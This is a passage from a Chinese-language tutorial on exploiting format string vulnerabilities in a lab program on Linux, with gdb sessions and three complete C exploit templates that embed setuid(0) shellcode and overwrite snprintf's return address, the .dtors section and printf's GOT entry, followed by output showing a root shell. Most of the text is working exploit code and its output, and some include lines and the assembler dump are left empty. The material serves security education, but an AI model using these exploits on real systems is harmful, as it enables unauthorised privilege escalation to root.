(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB
Breakpoint 1, 0x0804838c in main ()
(gdb) x/wx $esp
0xbffff92c: 0x420158d4 #main函數返回地址存放在0xbffff92c處(正常狀況下).這個
#地址裏面存儲的內容也就是咱們想要改寫的.
(gdb)
依據上面闡述的原理,咱們利用精心構造的格式化說明符將shellcode的地址寫入0xbffff92c,當main返回時
咱們的shellcode即可以執行.
2.覆蓋*printf()系列函數自身的返回地址:
相較上面的利用方法,該利用方法具備更高的精確度,且即使是在條件至關苛刻的狀況下也可使用.
[root@Bytes-WorkStation t2]# gdb -q fvul2
(gdb) disass main
Dump of assembler code for function main:
0x804838c
0x804838d
0x804838f
0x8048395
0x8048398
0x804839d
0x804839f
0x80483a2
0x80483a5
0x80483a8
0x80483aa
0x80483ac
0x80483af
0x80483b0
0x80483b5
0x80483b8
0x80483bc
0x80483bf
0x80483c2
0x80483c3
0x80483c6
0x80483c9
---Type
0x80483ca
0x80483cf
0x80483d2
0x80483d3
0x80483d8
0x80483dd
0x80483e0
0x80483e3
0x80483e4
0x80483e7
0x80483ea
0x80483ef
0x80483f4
0x80483f7
0x80483fc
0x80483fd
0x80483fe
0x80483ff
End of assembler dump.
(gdb)
(gdb) b *0x80483b0 #<---snprintf入口地址
Breakpoint 1 at 0x80483b0
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB
Breakpoint 1, 0x080483b0 in main ()
(gdb) i reg $eax $esp $ebp
eax 0xbffff8b0 -1073743696
esp 0xbffff890 0xbffff890
ebp 0xbffff928 0xbffff928
(gdb) x/20x 0xbffff870
0xbffff870: 0x4000a01f 0x40012d74 0x00000000 0x0177ff8e
0xbffff880: 0xbffff920 0x400126e0 0x00000000 0x00000000 #<--- ***
0xbffff890: 0xbffff8b0 0x00000064 0xbffffab3 0x00000000
0xbffff8a0: 0x4212a364 0x00000369 0x4200dbb3 0x420069e8
0xbffff8b0: 0x4212a2d0 0xbffffa87 0xbffff974 0xbffff8f4
(gdb) si
0x080482cc in snprintf ()
(gdb) x/8x 0xbffff870
0xbffff870: 0x4000a01f 0x40012d74 0x00000000 0x0177ff8e
0xbffff880: 0xbffff920 0x400126e0 0x00000000 0x080483b5 #<---上面"***"處已經變爲 0x080483b5
(gdb) x/wx 0xbffff88c
0xbffff88c: 0x080483b5
(gdb)
也就是說0xbffff880+c=0xbffff88c是存放snprintf返回地址的地方.固然咱們能夠更直白一些:
[root@Bytes-WorkStation t2]# gdb -q fvul2
(gdb) x/i snprintf
0x80482cc
(gdb) b *0x80482cc
Breakpoint 1 at 0x80482cc
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB
Breakpoint 1, 0x080482cc in snprintf ()
(gdb) x/wx $esp
0xbffff88c: 0x080483b5 #<---snprintf的返回地址
大蝦alert7總結過一個計算Linux平臺*printf()自身返回地址的公式:返回地址 = 格式化字符串地址 - 垃圾數據個數 * 4 - 8.
由此不可貴出exploit,下面給出個人exploit模板:
/*
exp1.c
Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net
Thax alert7'code.^_^
Notice:
rewrite snprintf() ret_addr.
*/
#include
#include
#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0xbffff88c
//#define shellcode_addr 0xbffff950
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void){
char buffer[BUF_S],Buffer[BUF_S * 2],*p;
unsigned Use_addr;
int i,j,ret_1,ret_2;
Use_addr = want_to_w_addr +100;
ret_1 = (Use_addr >> 16) & 0xffff;
ret_2 = (Use_addr >> 0) & 0xffff;
/*因爲咱們不能一次將地址寫入,因此咱們只能分開兩部分寫入.*/
memset(buffer,NOP,sizeof(buffer));
memset(buffer,'B',4);
for(i=0;i < 4;i++){
buffer[i+4] = ((want_to_w_addr+2) >> (i * 8))`& 0xff;
}
memset(buffer,'B',4);
for(j=0;j < 4;j++){
buffer[i+4+j] = ((want_to_w_addr) >> (i * 8)) & 0xff;
}
p = &buffer[8];
if(ret_1 < ret_2){
sprintf(p,"%%.%ud%%6$hn%%.%ud%%7$hn",ret_1 - 8,ret_2 - ret_1);
}else{
sprintf(p,"%%.%ud%%6$hn%%.%ud%%7$hn",ret_2 - 8,ret_1 - ret_2);
}
sprintf(Buffer,"%s%s",buffer,shellcode);
execle("./fvul2","fvul2",Buffer, NULL,NULL);
}
下面咱們來看看結果
[root@Bytes-WorkStation t2]# gcc -o exp1 exp1.c
[root@Bytes-WorkStation t2]# ./exp1
Segmentation fault
呼呼,目標程序因爲段錯誤掛掉了,回頭仔細想一想到底是什麼緣由呢?看過alert7前輩<<利用格式化串覆蓋*printf()系列函數自己的返回地址>>一文的朋
友必定會想到多是execle()函數在做怪,但這裏其實不只僅是那個緣由,個人exp犯了一個原則性的錯誤,細心的話應該注意到,本文所使用的那個存在漏
洞的例程的:char buf[100];這個地方,而咱們的exp中,構造的buffer卻要比這個大許多,這樣致使了stack溢出,天然就不能讓程序正常執行下去了,呼
呼,實際上,實戰狀態下大多數狀況目標程序是沒有那麼大的地方容許咱們放置咱們傳遞的buffer的,不是目標程序buffer大小的問題,而是一般會對輸入
的數據進行一些檢測.這裏提一個技巧,即對於本地format string能夠把shellcode放去環境變量,稍微改動上面的程序就能夠了.exp.c就不貼出來了.
但願看到這個文檔的朋友本身動手試試看---small buffer format string attacking...外面的資料也不少.
2)覆蓋.dtors list
若是你還不明白什麼是ELF的.dtors的話,那麼我建議你仔細的閱讀有關ELF文件格式的文檔.你能夠在網絡中搜索到不少.這裏僅就相關內容簡單的提
一下.實際上.dtors的做用一句話就能夠表述出來(細節固然也並不是這麼簡單),也就是該表中的內容將在main返回的時候被執行.固然咱們利用format
string漏洞進行***rewrite的是內存映像的.dtors(或許這麼表達不是很準確,但也就這個意思).
默認編譯的ELF文件都是有這個字段的,除非被strip去掉了.因此這個方法仍是更爲行之有效的.***過程的思路很簡單,就是利用format string漏洞
write to anywhere的特色,直接把咱們shellcode的地址寫入.dtors,"shellcode的地址"能夠是一個有效的範圍,咱們的shellcode位於其中,而後用
NOP填充滿,這樣能夠有效的提升精確度,而且能夠考慮把shellcode放入環境變量,這樣精度更高,且限制更少.:)
[root@Bytes-WorkStation t2]# objdump -s -j .dtors fvul2
fvul2: file format elf32-i386
Contents of section .dtors:
8049554 ffffffff 00000000 ........
咱們能夠看到.dtors list 入口地址爲:0x8049554,咱們須要覆蓋的就是0xffffffff所佔據的存儲單元,也就是0x8049554+4 = 0x8049558這個地址.
由此給出個人Exploit模版:
/*
exp2.c
Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net
Notice:
rewrite .dtors.
put shellcode into environment variabel
*/
#include
#include
#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0x8049558 /* .dtors addr = 0x8049554+4 */
#define shellcode_addr 0xbffff8d0 /* shellcode address: 這個和Stack溢出的一個處理方法同樣,我是把它放到環境變量裏面的,我感受這樣子
成功率會高一點,這個地址能夠沒必要太準確,猜個大體就能夠了,理論上你把Buffer定義越大,這個地址越能夠不許確,嘿嘿^_^*/
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void){
char buffer[256];
char buffer_egg[BUF_S];
unsigned low_ret,high_ret,i;
char dec_1,dec_2;
char addr[4];
addr[0] = (want_to_w_addr & 0xff000000) >> 24;
addr[1] = (want_to_w_addr & 0x00ff0000) >> 16;
addr[2] = (want_to_w_addr & 0x0000ff00) >> 8;
addr[3] = (want_to_w_addr & 0x000000ff);
high_ret = (shellcode_addr & 0xffff0000) >> 16;
low_ret = (shellcode_addr & 0x0000ffff);
memset(buffer,0x42,256);
//memset(buffer_egg,0x42,BUF_S);
memset(buffer_egg,NOP,BUF_S - strlen(shellcode));
memcpy (buffer_egg + BUF_S - strlen(shellcode) - 1,shellcode,strlen(shellcode));
if(high_ret < low_ret) {
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +
2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],high_ret - 8,low_ret - high_ret);
}else{
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +
2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],low_ret - 8,high_ret - low_ret);
}
/*裏面關於垃圾數據的長度可能須要更改*/
buffer_egg[BUF_S-1]=0x00;
memcpy(buffer_egg,"Bytes2lu=",9);
putenv(buffer_egg);
execl("./fvul2","fvul2",buffer,NULL);
}
測試一下:
[root@Bytes-WorkStation t2]# gcc -o exp2 exp2.c
[root@Bytes-WorkStation t2]# su Bytes
[Bytes@Bytes-WorkStation t2]$ id
uid=501(Bytes) gid=501(Bytes) groups=501(Bytes)
[Bytes@Bytes-WorkStation t2]$ ./exp2
buffer(99):Z?X?0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
x is 1107323368 hex is 0x420069e8(@ 0xbffff0bc)
sh-2.05b# id
uid=0(root) gid=501(Bytes) groups=501(Bytes)
sh-2.05b# exit
exit
成功了,a rootshell.:)
3)覆蓋GOT
若是你還不明白什麼是ELF的GOT的話,那麼我建議你仔細的閱讀有關ELF文件格式的文檔.你能夠在網絡中搜索到不少.這裏僅就相關內容簡單的提
一下.GOT即global offset table全局偏移表,與PLT有着緊密的關聯.動態鏈接器並不會把動態庫函數在編譯的時候就包含到ELF文件中,僅僅是在這個
ELF被加載的時候,纔會把那些動態函庫數代碼加載進來,以前系統只會在ELF文件中的GOT中保留一個調用地址.其餘相關細節請自行查閱相關文獻.
***思路已經很明顯了:
[root@Bytes-WorkStation t2]# objdump -R fvul2
fvul2: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804957c R_386_GLOB_DAT __gmon_start__
0804956c R_386_JUMP_SLOT strlen
08049570 R_386_JUMP_SLOT __libc_start_main
08049574 R_386_JUMP_SLOT printf
08049578 R_386_JUMP_SLOT snprintf
這裏我選擇覆蓋printf()在GOT中的地址也就是0x8049574.Exp則修改上面的exp2便可.
個人Exploit模版以下:
/*
exp3.c
Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net
Notice:
rewrite global offset table: &printf
put shellcode into environment variabel
*/
#include
#include
#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0x8049574 /* printf() GOT addr */
#define shellcode_addr 0xbffff8d0 /* shellcode address: 這個和Stack溢出的一個處理方法同樣,我是把它放到環境變量裏面的,我感受這樣子
成功率會高一點,這個地址能夠沒必要太準確,猜個大體就能夠了,理論上你把Buffer定義越大,這個地址越能夠不許確,嘿嘿^_^*/
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void){
char buffer[256];
char buffer_egg[BUF_S];
unsigned low_ret,high_ret,i;
char dec_1,dec_2;
char addr[4];
addr[0] = (want_to_w_addr & 0xff000000) >> 24;
addr[1] = (want_to_w_addr & 0x00ff0000) >> 16;
addr[2] = (want_to_w_addr & 0x0000ff00) >> 8;
addr[3] = (want_to_w_addr & 0x000000ff);
high_ret = (shellcode_addr & 0xffff0000) >> 16;
low_ret = (shellcode_addr & 0x0000ffff);
memset(buffer,0x42,256);
//memset(buffer_egg,0x42,BUF_S);
memset(buffer_egg,NOP,BUF_S - strlen(shellcode));
memcpy (buffer_egg + BUF_S - strlen(shellcode) - 1,shellcode,strlen(shellcode));
if(high_ret < low_ret) {
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +
2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],high_ret - 8,low_ret - high_ret);
}else{
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +
2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],low_ret - 8,high_ret - low_ret);
}
/*裏面關於垃圾數據的長度可能須要更改*/
buffer_egg[BUF_S-1]=0x00;
memcpy(buffer_egg,"Bytes2lu=",9);
putenv(buffer_egg);
execl("./fvul2","fvul2",buffer,NULL);
}
測試一下:
[root@Bytes-WorkStation t2]# gcc -o exp3 exp3.c
[root@Bytes-WorkStation t2]# su Bytes
[Bytes@Bytes-WorkStation t2]$ id
uid=501(Bytes) gid=501(Bytes) groups=501(Bytes)
[Bytes@Bytes-WorkStation t2]$ ./exp3
sh-2.05b# id
uid=0(root) gid=501(Bytes) groups=501(Bytes)
sh-2.05b# exit
exit
比較覆蓋.dtors的exp和覆蓋GOT的exp測試結果咱們能夠發現這兩種技術的不一樣之處,也就是獲取rootshell的"時機"(請原諒我含糊的表述:( )不一樣.具
體說來就是覆蓋.dtors的exp執行的時候,輸出爲:
buffer(99):Z?X?0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
x is 1107323368 hex is 0x420069e8(@ 0xbffff0bc)
sh-2.05b# id
這說明咱們的shell至少是在那兩條printf語句以後執行的,實質上是在main結束之後,這裏就體現了覆蓋.dtors的侷限性,以本文例程爲例,若是程序在
執行兩條printf()語句之後丟棄了root特權,那麼咱們是沒法獲得rootshell.而由覆蓋GOT的exp的輸出信息可知,因爲咱們選擇覆蓋printf在GOT中的
地址,程序試圖加載printf的代碼的時候,就"不幸"執行了咱們的shellcode,致使程序流程按照咱們的意願被改變(真正的printf並無被執行).由此看
來若是能夠覆蓋GOT,那麼覆蓋GOT則更有優點,由於咱們能夠儘量的選擇覆蓋程序丟棄root特權以前的函數位於GOT中的地址,這樣既即是程序中途丟棄
root特權,咱們依然能夠獲得rootshell.
_EOF
{0x04}.其它.
A.感謝:OYxin,Winewind,www417,Luz成文過程當中給予的幫助和鼓勵.特別感謝※上弦の月※×××幫我糾正了文中錯別字:P
B.附:
本來打算把4)Return into libc也寫入本篇筆記,可是考慮到Return into libc某些時候和繞過系統補丁***關聯密切,故留待下篇總結format
string***技巧,繞過系統補丁,經驗體會等等的筆記中再寫.
{0x05}.參考文獻:
< >En version
<<利用格式化串覆蓋*printf()系列函數自己的返回地址>>
<
<
<